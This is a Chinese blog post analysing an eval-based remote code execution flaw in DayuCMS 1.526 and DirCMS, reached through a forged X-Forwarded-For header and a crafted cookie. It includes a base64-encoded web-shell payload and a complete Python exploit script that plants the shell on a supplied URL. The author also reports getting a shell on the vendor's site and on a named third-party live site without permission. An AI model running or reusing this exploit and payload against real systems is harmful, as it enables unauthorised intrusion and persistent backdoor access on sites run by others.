IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    DayuCMS 1.526和DirCMS 前台任意代码执行分析以及POC

    没穿底裤发表于 2015-06-09 02:04:56
    love 0

    DayuCMS在将字符串转换为数组的函数中直接利用eval,并且存在可控变量,导致任意代码执行。
    DayuCMS可能参考了DirCMS的代码,这两个CMS代码几乎类似。本文只分析DayuCMS

    DayuCMS在将字符串转换为数组的函数中直接利用eval,并且存在可控变量,导致任意代码执行。

    影响版本:

    DayuCMS目前所有版本(最新1.526版本及以下)
    DirCMS所有版本(已经不更新了)

    /pay/order.php

    $payobj=new pay();
    
    $action=isset($action)?$action:'step1';
    session_start();
    
    $cookiekey=dayucms_md5('productarray'.IP);
    $productarray=string2array(get_cookie($cookiekey));

    上面代码中的IP声明在include/common.inc.php

    define('IP',getIp());

    include/global.func.php

    // 获取IP地址
    function getIp()
    {
        $ip='未知IP';
    
        if(!empty($_SERVER['HTTP_CLIENT_IP']))
        {
            return is_ip($_SERVER['HTTP_CLIENT_IP'])?$_SERVER['HTTP_CLIENT_IP']:$ip;
        }
        elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
            return is_ip($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:$ip;
        }
        else
        {
            return is_ip($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:$ip;
        }
    }

    发现ip可以利用X-Forwarded-For伪造。

    include/global.func.php

    function dayucms_md5($str)
    {
        return substr(md5($str),8,16);
    }
    
    // 字符串转换为数组
    function string2array($str)
    {
        if(disablefunc('eval'))exit('函数eval被禁用,可能无法正常使用本系统!');
        if($str=='') return array();
        if(is_array($str))return $str; // 2011-09-13  是数组的话直接返回
        @eval("\$array = $str;");
        return $array;
    }
    
    function get_cookie($var)
    {
        $var = COOKIE_PRE.$var;
        return isset($_COOKIE[$var])?$_COOKIE[$var]:false;
    }

    string2array函数的正常用法是:

    $tmp = 'array("hello"=>"world")';
    $arr = string2array($tmp);
    var_dump($arr); //此时$arr就为一个数组

    但是如果string2array函数参数$str为1;echo 222,那么由于eval可以执行由分号分开的多条语句,所以代码变成@eval(“\$array = 1;echo 222;”); 导致代码执行。

    可以发现,很多cms都有string2array这样的function。比如phpcms v9 /phpcms/libs/functions/global.func.php中237行。

    function string2array($data) {
        if($data == '') return array();
        eval("\$array = $data;");
        return $array;
    }

    data/config.inc.php
    在get_cookie函数中,COOKIE_PRE宏需要说明一下。

    define('COOKIE_PRE', 'rNsg2Zrbzn'); //Cookie 前缀,同一域名下安装多套Dircms时,请修改Cookie前缀

    在Dayucms代码中,居然出现了Dircms的字样,所以你们懂的 Orz..
    当第一次安装,COOKIE_PRE值是固定的TEVqv2KtR5,以后安装都会随机变化。

    很明显根据上面代码,我们可以知道这是一个任意代码执行。

    但是为了保证在任何环境下都能利用该POC,所以需要伪造一个固定的ip,那就2.2.2.2吧。
    首先先访问pay/order.php,得到COOKIE_PRE为rNsg2Zrbzn,不包括siteid

    回到order.php,$cookiekey为060b8081c32887f8,这个值再拼接上COOKIE_PRE,作为新cookie的key即可。
    1
    接着用Modify Headers修改XFF为2.2.2.2
    2
    上文用2.2.2.2的ip已经算出$cookiekey为060b8081c32887f8,所以设置新cookie的key为rNsg2Zrbzn060b8081c32887f8,这样当再次访问pay/order.php时,get_cookie不再返回flase,string2array函数就能得到调用,并且执行我们构造的代码。

    新建cookie,内容为1;fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))
    功能:生成JoyChou.php,内容为

    3
    再次访问pay/order.php即可执行代码,生成shell
    4
    目前dayucms官网依然可以这样getshell

    #coding:utf-8
    
    import requests
    import sys
    import hashlib
    import urllib
    
    __Author__ = 'JoyChou'
    __Date__ = '2015年5月27日 19:13:48'
    
    
    def is_url_getshell(url):
        order = url[-13:]
        if order != 'pay/order.php':
            print 'The url can not getshell...'
            sys.exit()
    
    def printinfo():
        print '''
        #######################################################
        #                                                     #
        #       Dayucms or dircms Getshell EXP                #
        #       Version: dayucms <= 1.526 and all dircms      #
        #       Blog: www.joychou.org                         #
        #                                                     #
        #######################################################
       
        Usage:   exp.py url 
        Example: exp.py http://www.dayucms.com/pay/order.php
    
        '''
    def md5(str):
        return hashlib.md5(str).hexdigest()
    
    def dayucms_md5(str):
        return md5(str)[8:24]
    
    # param:  http://victim.com/upload/test.php  
    # return: http://victim.com/upload/
    def spilit_url(url):
        m = 0
        for i in url[::-1]: #reverse url
            m+=1
            if i == '/':
                break
        url_spilit = url[:-(m-1)]
        return url_spilit
    
    def main(url):
        ip = '2.2.2.2'
        try:
            r = requests.get(url)
        except Exception, e:
            print e
            sys.exit()
        cookie = r.cookies
        # get cookie_pre from cookie of client request
        for cookie_tuple in cookie.items(): # cookie.items() return a tuple
            for key in cookie_tuple: 
                if 'siteid' in key:
                    cookie_pre = key
                    break;
        cookiekey = dayucms_md5('productarray'+ip)
        cookiekey = cookie_pre[:-6] + cookiekey
    
        print 'X-Forwarded-For is: %s' % ip
        print 'cookiekey which need to add is: %s' % cookiekey
        print ''
        false_headers = {'X-Forwarded-For': ip}
        
        #   %3b is the urlencode of ;
        #   ; must be replaced by $3b.  because in cookies, ; means that one cookie is over
        #   shell password is x
        shell = '1%3bfputs(fopen(base64_decode(c21pbGVudC5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))'
        false_cookies = {cookiekey: shell, cookie_pre: '1'}
        r = requests.get(url, cookies = false_cookies, headers = false_headers)
    
        url_shell = spilit_url(url) + 'smilent.php'
        r = requests.get(url_shell)
        if r.status_code == 200:
            print 'getshell success!'
            print 'shell url is %s' % url_shell
        else:
            print 'getshell fail...'
    
    
    if __name__ == '__main__':
        printinfo()
        if len(sys.argv) != 2:
            print 'input error'
            sys.exit()
    
        is_url_getshell(sys.argv[1])
    
        main(sys.argv[1])

    6
    百度powered by dircms测试下dircms,发现目标http://www.sywbs.com.cn/pay/order.php,getshell成功
    7



沪ICP备19023445号-2号
友情链接